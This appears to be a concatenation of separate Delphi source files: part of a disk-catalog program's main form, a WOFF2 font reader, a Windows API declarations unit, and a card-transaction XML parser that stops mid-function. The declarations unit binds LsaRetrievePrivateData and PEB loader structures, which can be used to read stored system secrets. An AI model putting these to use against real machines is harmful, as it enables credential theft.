NoOfColumns-1) then OutRect.Right := RightPrintAreaPx; if (OutRect.Left < OutRect.Right) then begin case i of 0: begin S := lsName; QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, S); end; 1: begin S := lsSize; StartX := OutRect.Right - QPrinterGetTextWidth(S); QPrinterTextRect(OutRect, StartX, OutRect.Top, S); end; 2: begin S := lsDateAndTime; StartX := OutRect.Right - QPrinterGetTextWidth(S); QPrinterTextRect(OutRect, StartX, OutRect.Top, S); end; 3: begin S := lsDescription; QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, S); end; end; end; inc(OutRect.Left,ColWidthsPx[i]); end; inc(AmountPrintedPx, LineHeightPx + YPxPer1mm); QPrinterRestoreFont; {$endif} end; //------ procedure PrintOneLine(Index: Integer); var OneLine : TOneFileLine; OutRect : TRect; TmpRect : TRect; S : ShortString; i : Integer; StartX : Integer; begin if FormAbortPrint.Aborted then exit; {$ifdef mswindows} OneLine := TOneFileLine(FilesList.Objects[Index]); if (PrintDialog.PrintRange = prSelection) and (OneLine.ExtAttr and eaSelected = 0) and (Index <> pred(DrawGridFiles.Row)) then exit; OutRect.Left := LeftPrintAreaPx; OutRect.Top := AmountPrintedPx; OutRect.Bottom := OutRect.Top + LineHeightPx; for i := 0 to NoOfColumns-1 do if CanPrintOnThisPage then begin OutRect.Right := OutRect.Left + ColWidthsPx[i] - 3*XPxPer1mm; if (OutRect.Right > RightPrintAreaPx) or (i = NoOfColumns-1) then OutRect.Right := RightPrintAreaPx; if OutRect.Left >= OutRect.Right then break; case i of 0: begin S := OneLine.POneFile^.LongName + OneLine.POneFile^.Ext; QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, S); end; 1: begin case OneLine.FileType of ftDir : S := lsFolder; ftParent: S := ''; else S := FormatSize(OneLine.POneFile^.Size, QGlobalOptions.ShowInKb); end; StartX := OutRect.Right - QPrinterGetTextWidth(S); QPrinterTextRect(OutRect, StartX, OutRect.Top, S); end; 2: begin if OneLine.POneFile^.Time <> 0 then begin S := DosTimeToStr(OneLine.POneFile^.Time, QGlobalOptions.ShowSeconds); StartX := OutRect.Right - QPrinterGetTextWidth(S); QPrinterTextRect(OutRect, StartX, OutRect.Top, S); S := DosDateToStr(OneLine.POneFile^.Time); TmpRect := OutRect; TmpRect.Right := TmpRect.Right - TimeWidthPx; if TmpRect.Right > TmpRect.Left then begin StartX := TmpRect.Right - QPrinterGetTextWidth(S); QPrinterTextRect(TmpRect, StartX, TmpRect.Top, S); end; end; end; 3: begin if OneLine.POneFile^.Description <> 0 then begin if QI_GetShortDesc(DBaseHandle, OneLine.POneFile^.Description, S) then QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, S); end end; end; inc(OutRect.Left,ColWidthsPx[i]); end; inc(AmountPrintedPx, LineHeightPx); {$endif} end; //------ var i: Integer; TmpS: array[0..256] of char; Copies: Integer; PxWidth : integer; TmpInt : integer; OneFileLine: TOneFileLine; begin if PrintDialog.Execute then begin {$ifdef mswindows} QPrinterReset(QGlobalOptions); AmountPrintedPx := TopPrintAreaPx + 2*LineHeightPx; TimeWidthPx := QPrinterGetTextWidth(DosTimeToStr(longint(23) shl 11, QGlobalOptions.ShowSeconds)); TimeWidthPx := TimeWidthPx + TimeWidthPx div 6; // calculate Pixel width PxWidth := 100; for i := 0 to pred (FilesList.Count) do begin OneFileLine := TOneFileLine(FilesList.Objects[i]); TmpInt := QPrinterGetTextWidth (OneFileLine.POneFile^.LongName + OneFileLine.POneFile^.Ext); if TmpInt > PxWidth then PxWidth := TmpInt; end; ColWidthsPx[0] := PxWidth + 3*XPxPer1mm; ColWidthsPx[1] := QPrinterGetTextWidth(FormatSize(2000000000, QGlobalOptions.ShowInKb)) + 3*XPxPer1mm; ColWidthsPx[2] := QPrinterGetTextWidth(' ' + DosDateToStr (694026240)) + TimeWidthPx + 3*XPxPer1mm; ColWidthsPx[3] := 25 * QPrinterGetTextWidth('Mmmmxxxxx '); FormAbortPrint.LabelProgress.Caption := lsPreparingToPrint; FormAbortPrint.Show; MainForm.Enabled :=false; try Application.ProcessMessages; for Copies := 1 to PrintDialog.Copies do begin PageCounter := 1; QPrinterBeginDoc(lsQuickDir); PrintHeaderAndFooter; PrintColumnNames; FormAbortPrint.LabelProgress.Caption := lsPrintingPage + IntToStr(PageCounter); for i := 0 to pred(FilesList.Count) do begin Application.ProcessMessages; if FormAbortPrint.Aborted then break; PrintOneLine(i); if (AmountPrintedPx + 3*LineHeightPx) > BottomPrintAreaPx then begin if not FormAbortPrint.Aborted then begin GoToNewPage; inc(PageCounter); end; FormAbortPrint.LabelProgress.Caption := lsPrintingPage + IntToStr(PageCounter); Application.ProcessMessages; AmountPrintedPx := TopPrintAreaPx + 2*LineHeightPx; PrintHeaderAndFooter; PrintColumnNames; end; end; QPrinterEndDoc; if FormAbortPrint.Aborted then break; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; on EOther: Exception do Application.MessageBox(StrPCopy(TmpS, EOther.Message), lsError, mb_Ok or mb_IconExclamation); end; MainForm.Enabled :=true; FormAbortPrint.Hide; {$endif} end; end; //-------------------------------------------------------------------- // Procedure used to inverse selection procedure TMainForm.DrawGridFilesToggleSelection; var i : Integer; begin if FormIsClosed then exit; if QGlobalOptions.FileDisplayType = fdBrief then i := DrawGridFiles.Selection.Left*DrawGridFiles.RowCount + DrawGridFiles.Selection.Top else i := pred(DrawGridFiles.Row); if i < FilesList.Count then begin with TOneFileLine(FilesList.Objects[i]) do if ExtAttr and eaSelected <> 0 then ExtAttr := ExtAttr and not eaSelected else ExtAttr := ExtAttr or eaSelected; end; end; //-------------------------------------------------------------------- // Copies files to clipboard procedure TMainForm.MakeCopyFiles; var CopyBuffer : PChar; TotalLength : longint; hCopyBuffer : THandle; procedure Run(CalcOnly: boolean); var i: Integer; S: ShortString; OneFileLine: TOneFileLine; begin for i := 0 to pred(FilesList.Count) do begin OneFileLine := TOneFileLine(FilesList.Objects[i]); if (OneFileLine.ExtAttr and eaSelected <> 0) or (i = CurFileSelected) then begin S := OneFileLine.POneFile^.LongName + OneFileLine.POneFile^.Ext; AddToBuffer(CalcOnly, S + #9, CopyBuffer, TotalLength); if OneFileLine.POneFile^.Time <> 0 then S := DosDateToStr(OneFileLine.POneFile^.Time) + #9 + DosTimeToStr(OneFileLine.POneFile^.Time, QGlobalOptions.ShowSeconds) else S := #9; AddToBuffer(CalcOnly, S + #9, CopyBuffer, TotalLength); case OneFileLine.FileType of ftDir : S := lsFolder; ftParent: S := ''; else S := FormatSize(OneFileLine.POneFile^.Size, QGlobalOptions.ShowInKb); end; AddToBuffer(CalcOnly, S + #9, CopyBuffer, TotalLength); S := ''; if OneFileLine.POneFile^.Description <> 0 then QI_GetShortDesc(DBaseHandle, OneFileLine.POneFile^.Description, S); AddToBuffer(CalcOnly, S + #13#10, CopyBuffer, TotalLength); end; end; end; begin try TotalLength := 0; Run(true); // calculate the size needed ///CopyBuffer := GlobalAlloc(GMEM_MOVEABLE or GMEM_ZEROINIT, TotalLength+1); ///CopyBuffer := GlobalLock(hCopyBuffer); Run(false); ///GlobalUnlock(hCopyBuffer); ///Clipboard.SetAsHandle(CF_TEXT, hCopyBuffer); except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Deletes files procedure TMainForm.DeleteFiles; begin if (CurFileSelected >= 1) and (FilesList.count > CurFileSelected) then begin with TOneFileLine(FilesList.Objects[CurFileSelected]).POneFile^ do QI_DeleteFile(DBaseHandle,LongName); QI_UpdateFileCol(DBaseHandle); // FilesList.Delete(CurFileSelected); // UpdateFileWindowGrid(CurFileSelected-1); end; end; //-------------------------------------------------------------------- // Fucntion called when there is no message in the message queue. Time-consuming // updates are located here, so that the program can respond to users events // quickly. procedure TMainForm.LocalIdle; begin ///if FormIsClosed then exit; if not QI_DatabaseIsOpened (DBaseHandle) then exit; if PanelsLocked then exit; try if QI_NeedUpdDiskWin(DBaseHandle) then UpdateDiskWindow; if QI_NeedUpdTreeWin(DBaseHandle) then begin ReloadTree; QI_ClearNeedUpdTreeWin(DBaseHandle); end; if QI_NeedUpdFileWin(DBaseHandle) then begin ReloadFileCol(''); QI_ClearNeedUpdFileWin(DBaseHandle); end; if NeedReSort then begin NeedReSort := false; ReloadFileCol(GetSelectedFileName); end; if FormWasResized > 0 then begin Dec(FormWasResized); if FormWasResized = 0 then begin UpdateFileWindowGrid(-1); ResizeHeaderBottom; end; end; ///if HeaderBottom.Sections[0].Text <> StatusLineSubTotals then if StatusBar.Panels[0].Text <> StatusLineSubTotals then begin if StatusSection0Size = 0 then begin //workaround - it made problems in the first run StatusSection0Size := 1; StatusBar.Panels[0].Text:= '-'; end else begin ///HeaderBottom.Sections[0].Text := StatusLineSubTotals; ///StatusSection0Size := HeaderBottom.Sections[0].Width; StatusBar.Panels[0].Text := StatusLineSubTotals; StatusSection0Size := StatusBAr.Panels[0].Width; end; ResizeHeaderBottom; end; ///if HeaderBottom.Sections[1].Text <> StatusLineFiles then if StatusBar.Panels[1].Text <> StatusLineFiles then begin ///HeaderBottom.Sections[1].Text := StatusLineFiles; StatusBar.Panels[1].Text := StatusLineFiles; ResizeHeaderBottom; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; if QI_GetErrorCounter(DBaseHandle) > 0 then begin QI_ClearErrorCounter(DBaseHandle); NormalErrorMessage(lsErrorInDBaseFound); end; end; end.
// Web Open Font Format 2.0 unit fi_woff2; interface implementation uses brotli, fi_common, fi_info_reader, fi_sfnt, classes, streamex, sysutils; function ReadUIntBase128(stream: TStream): LongWord; var i: LongInt; b: Byte; begin result := 0; for i := 0 to 4 do begin b := stream.ReadByte; // Leading zeros are invalid. if (i = 0) and (b = $80) then raise EStreamError.Create('Base128 Leading zeros'); // If any of the top seven bits are set then we're about to overflow. if result and $FE000000 <> 0 then raise EStreamError.Create('Base128 Overflow'); result := (result shl 7) or (b and $7F); // Spin until the most significant bit of data Byte is false. if b and $80 = 0 then exit(result); end; raise EStreamError.Create('Base128 exceeds 5 Bytes'); end; function Read255UShort(stream: TStream): Word; const WORD_CODE = 253; ONE_MORE_BYTE_CODE1 = 254; ONE_MORE_BYTE_CODE2 = 255; LOWEST_UCODE = 253; var code: Byte; begin code := stream.ReadByte; case code of WORD_CODE: result := stream.ReadWordBE; ONE_MORE_BYTE_CODE1: result := LOWEST_UCODE + stream.ReadByte; ONE_MORE_BYTE_CODE2: result := LOWEST_UCODE * 2 + stream.ReadByte; else result := code; end; end; type TWOFF2TableDirEntry = record tag, offset, originalLen, transformedLen: LongWord; end; TWOFF2TableDir = array of TWOFF2TableDirEntry; function WOFF2TagIdxToTag(tagIdx: LongWord): LongWord; begin case tagIdx of 5: result := SFNT_TAG_NAME; 10: result := SFNT_TAG_GLYF; 11: result := SFNT_TAG_LOCA; 25: result := SFNT_TAG_BASE; 26: result := SFNT_TAG_GDEF; 27: result := SFNT_TAG_GPOS; 28: result := SFNT_TAG_GSUB; 30: result := SFNT_TAG_JSTF; 47: result := SFNT_TAG_FVAR; else result := 0; end; end; function ReadWOFF2TableDir( stream: TStream; numTables: LongInt): TWOFF2TableDir; var i: LongInt; offset: LongWord; flags: Byte; tag: LongWord; transformVersion: Byte; begin SetLength(result, numTables); if numTables = 0 then exit(result); offset := 0; for i := 0 to numTables - 1 do begin flags := stream.ReadByte; if flags and $3f = $3f then tag := stream.ReadDWordBE else tag := WOFF2TagIdxToTag(flags and $3f); result[i].tag := tag; result[i].offset := offset; result[i].originalLen := ReadUIntBase128(stream); result[i].transformedLen := result[i].originalLen; transformVersion := (flags shr 6) and $03; if (tag = SFNT_TAG_GLYF) or (tag = SFNT_TAG_LOCA) then begin if transformVersion = 0 then result[i].transformedLen := ReadUIntBase128(stream); end else if transformVersion <> 0 then result[i].transformedLen := ReadUIntBase128(stream); Inc(offset, result[i].transformedLen); end; end; type TWOFF2ColectionFontEntry = record flavor: LongWord; tableDirIndices: array of Word; end; function ReadWOFF2CollectionFontEntry( stream: TStream; numTables: Word): TWOFF2ColectionFontEntry; var i: LongInt; index: Word; begin SetLength(result.tableDirIndices, Read255UShort(stream)); result.flavor := stream.ReadDWordBE; for i := 0 to High(result.tableDirIndices) do begin index := Read255UShort(stream); if index >= numTables then raise EStreamError.CreateFmt( 'Table directory index %d at offset %d' + ' is out of bounds [0, %u)', [i, stream.Position, numTables]); result.tableDirIndices[i] := index; end; end; function DecompressWOFF2Data( stream: TStream; compressedSize, decompressedSize: LongWord): TBytes; var compressedData: TBytes; begin SetLength(compressedData, compressedSize); stream.ReadBuffer(compressedData[0], compressedSize); SetLength(result, decompressedSize); if not BrotliDecompress( compressedData, decompressedSize, result) then raise EStreamError.Create('WOFF2 brotli decompression failure'); end; const WOFF2_SIGN = $774F4632; // 'wOF2' type TWOFF2Header = packed record signature, flavor, length: LongWord; numTables, reserved: Word; totalSfntSize, totalCompressedSize: LongWord; // majorVersion, // minorVersion: Word; // metaOffset, // metaLength, // metaOrigLength, // privOffset, // privLength: LongWord; end; procedure ReadWOFF2Info(stream: TStream; var info: TFontInfo); var header: TWOFF2Header; tableDir: TWOFF2TableDir; decompressedSize: LongWord; i: LongInt; hasLayoutTables: Boolean = FALSE; version: LongWord; collectionFontEntry: TWOFF2ColectionFontEntry; tableDirIndices: array of Word; decompressedData: TBytes; decompressedDataStream: TBytesStream; begin stream.ReadBuffer(header, SizeOf(header)); {$IFDEF ENDIAN_LITTLE} with header do begin signature := SwapEndian(signature); flavor := SwapEndian(flavor); length := SwapEndian(length); numTables := SwapEndian(numTables); reserved := SwapEndian(reserved); totalSfntSize := SwapEndian(totalSfntSize); totalCompressedSize := SwapEndian(totalCompressedSize); end; {$ENDIF} if header.signature <> WOFF2_SIGN then raise EStreamError.Create('Not a WOFF2 font'); if header.length <> stream.Size then raise EStreamError.CreateFmt( 'Size in WOFF2 header (%u) does not match the file size (%d)', [header.length, stream.Size]); if header.numTables = 0 then raise EStreamError.Create('WOFF2 has no tables'); // The spec say that a non-zero reserved field is not an error. stream.Seek(SizeOf(Word) * 2 + SizeOf(LongWord) * 5, soCurrent); tableDir := ReadWOFF2TableDir(stream, header.numTables); with tableDir[header.numTables - 1] do // The spec says that totalSfntSize from the header is for // reference purposes only and should not be relied upon. decompressedSize := offset + transformedLen; if header.flavor = SFNT_COLLECTION_SIGN then begin stream.Seek(SizeOf(LongWord), soCurrent); // TTC version info.numFonts := Read255UShort(stream); if info.numFonts = 0 then raise EStreamError.Create('WOFF2 collection has no fonts'); collectionFontEntry := ReadWOFF2CollectionFontEntry( stream, header.numTables); version := collectionFontEntry.flavor; tableDirIndices := collectionFontEntry.tableDirIndices; // We only need the first font. for i := 1 to info.numFonts - 1 do ReadWOFF2CollectionFontEntry(stream, header.numTables); end else begin version := header.flavor; SetLength(tableDirIndices, Length(tableDir)); for i := 0 to High(tableDirIndices) do tableDirIndices[i] := i; end; decompressedData := DecompressWOFF2Data( stream, header.totalCompressedSize, decompressedSize); decompressedDataStream := TBytesStream.Create(decompressedData); try for i := 0 to High(tableDirIndices) do begin if tableDir[i].tag = 0 then continue; SFNT_ReadTable( SFNT_FindTableReader(tableDir[i].tag), decompressedDataStream, info, tableDir[i].offset); hasLayoutTables := ( hasLayoutTables or SFNT_IsLayoutTable(tableDir[i].tag)); end; finally decompressedDataStream.Free; end; info.format := SFNT_GetFormatSting(version, hasLayoutTables); end; initialization RegisterReader(@ReadWOFF2Info, ['.woff2']); end.
//*****************************************// // Carlo Pasolini // // http://pasotech.altervista.org // // email: cdpasop@hotmail.it // //*****************************************// unit uDecls; interface type PANSI_STRING = ^ANSI_STRING; ANSI_STRING = record Length: Word; MaximumLength: Word; Buffer: PAnsiChar; end; PUNICODE_STRING = ^UNICODE_STRING; UNICODE_STRING = record Length: Word; MaximumLength: Word; Buffer: PWideChar; end; PLSA_UNICODE_STRING = ^LSA_UNICODE_STRING; LSA_UNICODE_STRING = record Length: Word; MaximumLength: Word; Buffer: PWideChar; end; PLSA_OBJECT_ATTRIBUTES = ^LSA_OBJECT_ATTRIBUTES; LSA_OBJECT_ATTRIBUTES = record Length: Cardinal; RootDirectory: Cardinal; ObjectName: PLSA_UNICODE_STRING; Attributes: Cardinal; //puntatore a SECURITY_DESCRIPTOR SecurityDescriptor: Pointer; //puntatore a SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService: Pointer; end; PLIST_ENTRY = ^LIST_ENTRY; LIST_ENTRY = record Flink: PLIST_ENTRY; Blink: PLIST_ENTRY; end; LDR_MODULE = record // not packed! InLoadOrderLinks: LIST_ENTRY; InMemoryOrderLinks: LIST_ENTRY; InInitializationOrderLinks: LIST_ENTRY; DllBase: Cardinal; EntryPoint: Cardinal; SizeOfImage: Cardinal; FullDllName: UNICODE_STRING; BaseDllName: UNICODE_STRING; Flags: Cardinal; LoadCount: SmallInt; TlsIndex: SmallInt; HashLinks: LIST_ENTRY; TimeDateStamp: Cardinal; LoadedImports: Pointer; EntryPointActivationContext: Pointer; // PACTIVATION_CONTEXT PatchInformation: Pointer; end; PPEB_LDR_DATA = ^PEB_LDR_DATA; PPPEB_LDR_DATA = ^PPEB_LDR_DATA; PEB_LDR_DATA = record // not packed! (*000*)Length: Cardinal; (*004*)Initialized: BOOLEAN; (*008*)SsHandle: Pointer; (*00c*)InLoadOrderModuleList: LIST_ENTRY; (*014*)InMemoryOrderModuleList: LIST_ENTRY; (*01c*)InInitializationOrderModuleList: LIST_ENTRY; (*024*)EntryInProgress: Pointer; end; function RtlAnsiStringToUnicodeString( DestinationString : PUNICODE_STRING; SourceString : PANSI_STRING; AllocateDestinationString : Boolean ): Integer; stdcall; external 'ntdll.dll'; function RtlUnicodeStringToAnsiString( DestinationString : PANSI_STRING; SourceString : PUNICODE_STRING; AllocateDestinationString : Boolean ): Integer; stdcall; external 'ntdll.dll'; procedure RtlFreeAnsiString( AnsiString : PANSI_STRING ); stdcall; external 'ntdll.dll'; procedure RtlFreeUnicodeString( UnicodeString : PUNICODE_STRING ); stdcall; external 'ntdll.dll'; function RtlNtStatusToDosError(const Status : Integer ): Cardinal; stdcall; external 'ntdll.dll'; function NtQueryInformationProcess( ProcessHandle : Cardinal; ProcessInformationClass : Byte; ProcessInformation : Pointer; ProcessInformationLength : Cardinal; ReturnLength : PCardinal ): Integer; stdcall; external 'ntdll.dll'; function LsaOpenPolicy( SystemName: PUNICODE_STRING; var ObjectAttributes: LSA_OBJECT_ATTRIBUTES; DesiredAccess: Cardinal; var PolicyHandle: Pointer ): Integer; stdcall; external 'advapi32.dll'; function LsaClose( ObjectHandle: Pointer ): Integer; stdcall; external 'advapi32.dll'; function LsaRetrievePrivateData( PolicyHandle: Pointer; const KeyName: UNICODE_STRING; var PrivateData: PUNICODE_STRING ): Integer; stdcall; external 'advapi32.dll'; function LsaNtStatusToWinError( Status: Integer ): Cardinal; stdcall; external 'advapi32.dll'; function LsaFreeMemory( Buffer: Pointer ): Integer; stdcall; external 'advapi32.dll'; implementation end.
unit uPCCRecords; interface uses Classes, SysUtils; const PCC_REC_COUNT = 'RECORD_COUNT'; PCC_TRANS_RECORD = 'TRANS_RECORD'; PCC_TRAN_NUM = 'Number'; PCC_TRAN_TICKET = 'Ticket'; PCC_TRAN_DATE = 'Date'; PCC_TRAN_TIME = 'Time'; PCC_TRAN_STATION = 'Station'; PCC_TRAN_PROCESSOR = 'Processor'; PCC_TRAN_TID = 'TID'; PCC_TRAN_ISSUER = 'Issuer'; PCC_TRAN_MEMBER = 'Member'; PCC_TRAN_EXPDATE = 'ExpDate'; PCC_TRAN_ACTION = 'Action'; PCC_TRAN_MANUAL = 'Manual'; PCC_TRAN_AMOUNT = 'Amount'; PCC_TRAN_REF = 'Ref'; PCC_TRAN_RESULT = 'Result'; PCC_TRAN_AUTH = 'Auth'; PCC_TRAN_TAX_AMOUNT = 'Tax_Amount'; PCC_TRAN_TOTAL_AUTH = 'Total_Auth'; PCC_TRAN_INDICATOR = 'Trans_Indicator'; PCC_TRAN_REQACI = 'ReqACI'; PCC_TRAN_RETACI = 'RetACI'; PCC_TRAN_TRANS_DATE = 'TransDate'; PCC_TRAN_TRAN_TIME = 'TransTime'; PCC_TRAN_CARD = 'Card'; PCC_TRAN_BATCH_NUM = 'BatchNumber'; PCC_TRAN_ITEM_NUM = 'ItemNumber'; PCC_TRAN_CVV2 = 'CVV2_Resp'; PCC_TRAN_COMERCIAL_CARD = 'Commercial_Card'; PCC_TRAN_OFFLINE = 'Offline'; PCC_TRAN_STATUS = 'Status'; PCC_TRAN_TROUTD = 'TroutD'; PCC_TRAN_CARD_PRESENT = 'CardPresent'; PCC_TRAN_BUSINESS_TYPE = 'Business_Type'; type TPCCRecord = class public Number : String; Ticket : String; Date : String; Time : String; Station : String; Processor : String; TID : String; Issuer : String; Member : String; ExpDate : String; Action : String; Manual : String; Amount : String; Ref : String; Result : String; Auth : String; Result_Ref : String; Tax_Amount : String; Total_Auth : String; Trans_Indicator : String; ReqACI : String; RetACI : String; TransDate : String; TransTime : String; Card : String; PeriodicPayment : String; BatchNumber : String; ItemNumber : String; CVV2_Resp : String; Selected : String; Commercial_Card : String; Offline : String; Status : String; TroutD : String; CardPresent : String; Business_Type : String; end; TPCCRecordList = class private FList : TStringList; procedure FreeList; function StartXMLField(AField : String) : String; function EndXMLField(AField : String) : String; function HasField(AText, AField : String) : Boolean; function GetXMLField(AText, AField : String) : String; function ComperCCDate(ADate1, ADate2 : String) : Boolean; function ComperCCCard(ACCard1, ACCard2 : String) : Boolean; function ComperCCAmount(AAmount1, AAmount2 : String) : Boolean; function TestResult(AResult : String) : Boolean; public Constructor Create; Destructor Destroy; override; function BuildRecords(AResult : WideString) : Boolean; function FindRecord(ATicket, ADate, AStation, AAmount, ACard : String) : TPCCRecord; end; implementation { TPCCRecordList } function TPCCRecordList.BuildRecords(AResult: WideString): Boolean; var FTempList : TStringList; FPCCRecord : TPCCRecord; i, iTotal : Integer; begin FTempList := TStringList.Create; try FTempList.Text := AResult; for i := 0 to FTempList.Count-1 do begin if HasField(FTempList.Strings[i], StartXMLField(PCC_REC_COUNT)) then iTotal := StrToInt(GetXMLField(FTempList.Strings[i], PCC_REC_COUNT)) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRANS_RECORD)) then FPCCRecord := TPCCRecord.Create else if (FPCCRecord <> nil) then begin if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_NUM)) then FPCCRecord.Number := GetXMLField(FTempList.Strings[i], PCC_TRAN_NUM) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_TICKET)) then FPCCRecord.Ticket := GetXMLField(FTempList.Strings[i], PCC_TRAN_TICKET) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_DATE)) then FPCCRecord.Date := GetXmlField(FTempList.Strings[i], PCC_TRAN_DATE) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_TIME)) then FPCCRecord.Time := GetXmlField(FTempList.Strings[i], PCC_TRAN_TIME) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_STATION)) then FPCCRecord.Station := GetXmlField(FTempList.Strings[i], PCC_TRAN_STATION) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_PROCESSOR)) then FPCCRecord.Processor := GetXmlField(FTempList.Strings[i], PCC_TRAN_PROCESSOR) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_TID)) then FPCCRecord.TID := GetXmlField(FTempList.Strings[i], PCC_TRAN_TID) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_ISSUER)) then FPCCRecord.Issuer := GetXmlField(FTempList.Strings[i], PCC_TRAN_ISSUER) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_MEMBER)) then FPCCRecord.Member := GetXmlField(FTempList.Strings[i], PCC_TRAN_MEMBER) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_EXPDATE)) then FPCCRecord.ExpDate := GetXmlField(FTempList.Strings[i], PCC_TRAN_EXPDATE) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_ACTION)) then FPCCRecord.Action := GetXmlField(FTempList.Strings[i], PCC_TRAN_ACTION) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_MANUAL)) then FPCCRecord.Manual := GetXmlField(FTempList.Strings[i], PCC_TRAN_MANUAL) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_AMOUNT)) then FPCCRecord.Amount := GetXmlField(FTempList.Strings[i], PCC_TRAN_AMOUNT) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_REF)) then FPCCRecord.Ref := GetXmlField(FTempList.Strings[i], PCC_TRAN_REF) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_RESULT)) then FPCCRecord.Result := GetXmlField(FTempList.Strings[i], PCC_TRAN_RESULT) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_AUTH)) then FPCCRecord.Auth := GetXmlField(FTempList.Strings[i], PCC_TRAN_AUTH) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_TAX_AMOUNT)) then FPCCRecord.Tax_Amount := GetXmlField(FTempList.Strings[i], PCC_TRAN_TAX_AMOUNT) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_TOTAL_AUTH)) then FPCCRecord.Total_Auth := GetXmlField(FTempList.Strings[i], PCC_TRAN_TOTAL_AUTH) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_INDICATOR)) then FPCCRecord.Trans_Indicator := GetXmlField(FTempList.Strings[i], PCC_TRAN_INDICATOR) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_REQACI)) then FPCCRecord.ReqACI := GetXmlField(FTempList.Strings[i], PCC_TRAN_REQACI) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_RETACI)) then FPCCRecord.RetACI := GetXmlField(FTempList.Strings[i], PCC_TRAN_RETACI) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_TRANS_DATE)) then FPCCRecord.TransDate := GetXmlField(FTempList.Strings[i], PCC_TRAN_TRANS_DATE) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_TRAN_TIME)) then FPCCRecord.TransTime := GetXmlField(FTempList.Strings[i], PCC_TRAN_TRAN_TIME) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_CARD)) then FPCCRecord.Card := GetXmlField(FTempList.Strings[i], PCC_TRAN_CARD) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_BATCH_NUM)) then FPCCRecord.BatchNumber := GetXmlField(FTempList.Strings[i], PCC_TRAN_BATCH_NUM) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_ITEM_NUM)) then FPCCRecord.ItemNumber := GetXmlField(FTempList.Strings[i], PCC_TRAN_ITEM_NUM) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_CVV2)) then FPCCRecord.CVV2_Resp := GetXmlField(FTempList.Strings[i], PCC_TRAN_CVV2) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_COMERCIAL_CARD)) then FPCCRecord.Commercial_Card := GetXmlField(FTempList.Strings[i], PCC_TRAN_COMERCIAL_CARD) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_OFFLINE)) then FPCCRecord.Offline := GetXmlField(FTempList.Strings[i], PCC_TRAN_OFFLINE) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_STATUS)) then FPCCRecord.Status := GetXmlField(FTempList.Strings[i], PCC_TRAN_STATUS) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_TROUTD)) then FPCCRecord.TroutD := GetXmlField(FTempList.Strings[i], PCC_TRAN_TROUTD) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_CARD_PRESENT)) then FPCCRecord.CardPresent := GetXmlField(FTempList.Strings[i], PCC_TRAN_CARD_PRESENT) else if HasField(FTempList.Strings[i], StartXMLField(PCC_TRAN_BUSINESS_TYPE)) then FPCCRecord.Business_Type := GetXmlField(FTempList.Strings[i], PCC_TRAN_BUSINESS_TYPE) else if HasField(FTempList.Strings[i], EndXMLField(PCC_TRANS_RECORD)) then FList.AddObject('', FPCCRecord); end end; finally FreeAndNil(FTempList); end; end; constructor TPCCRecordList.Create; begin FList := TStringList.Create; end; destructor TPCCRecordList.Destroy; begin FreeList; FreeAndNil(FList); inherited; end; procedure TPCCRecordList.FreeList; var PCCRecord : TPCCRecord; begin while FList.Count > 0 do begin if FList.Objects[0] <> nil then begin PCCRecord := TPCCRecord(FList.Objects[0]); FreeAndNil(PCCRecord); end; FList.Delete(0); end; end; function TPCCRecordList.StartXMLField(AField: String): String; begin Result := '<' + AField + '>'; end; function TPCCRecordList.EndXMLField(AField: String): String; begin Result := '</' + AField + '>'; end; function TPCCRecordList.HasField(AText, AField: String): Boolean; begin Result := (Pos(AField, AText) > 0); end; function TPCCRecordList.GetXMLField(AText, AField: String): String; begin AText := Trim(AText); Result := Copy(AText, Pos(AText, StartXMLField(AField)) + 1 + length(StartXMLField(AField)), length(AText)); Result := StringReplace(Result, EndXMLField(AField), '', []); Result := Trim(Result); end; function TPCCRecordList.FindRecord(ATicket, ADate, AStation, AAmount, ACard: String): TPCCRecord; var i : integer; PCCRecord : TPCCRecord; begin Result := nil; for i := 0 to FList.Count-1 do begin if FList.Objects[i] <> nil 